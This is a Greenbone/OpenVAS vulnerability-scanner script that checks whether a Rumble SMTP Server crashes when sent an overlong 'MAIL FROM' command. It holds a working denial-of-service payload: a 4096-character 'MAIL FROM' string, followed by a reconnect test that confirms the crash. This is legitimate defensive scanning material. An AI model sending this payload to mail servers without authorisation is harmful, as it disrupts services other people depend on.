Rumble SMTP Server 'MAIL FROM' Command Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802012");
  script_version("2023-10-31T05:06:37+0000");
  script_tag(name:"last_modification", value:"2023-10-31 05:06:37 +0000 (Tue, 31 Oct 2023)");
  script_tag(name:"creation_date", value:"2011-04-11 14:40:00 +0200 (Mon, 11 Apr 2011)");
  script_tag(name:"cvss_base", value:"8.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:S/C:C/I:C/A:C");
  script_name("Rumble SMTP Server 'MAIL FROM' Command Denial of Service Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("smtpserver_detect.nasl", "check_smtp_helo.nasl");
  script_require_ports("Services/smtp", 25);
  script_mandatory_keys("smtp/esmtpsa/detected");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17070/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47070");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/99827/");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to cause the
  application to crash.");

  script_tag(name:"affected", value:"Rumble SMTP Server Version 0.25.2232. Other versions may also
  be affected.");

  script_tag(name:"insight", value:"The flaw is due to an error while handling 'MAIL FROM' command,
  which can be exploited by remote attackers to crash an affected application by
  sending specially crafted 'MAIL FROM' command.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Rumble SMTP Server is prone to a denial of service vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("smtp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = smtp_get_port(default:25);
banner = smtp_get_banner(port:port);
if(!banner || "ESMTPSA" >!< banner)
  exit(0);

soc1 = smtp_open(port:port, data:"mydomain.tld");
if(!soc1)
  exit(0);

crafted_data = 'MAIL FROM ' + crap(data:'A',length:4096) + string("\r\n");
send(socket:soc1, data:crafted_data);
recv(socket:soc1, length:1024);

sleep(3);

soc2 = smtp_open(port:port, data:"mydomain.tld");
if(!soc2) {
  close(soc1);
  security_message(port:port);
  exit(0);
}

smtp_close(socket:soc1, check_data:FALSE);
smtp_close(socket:soc2, check_data:FALSE);
exit(99);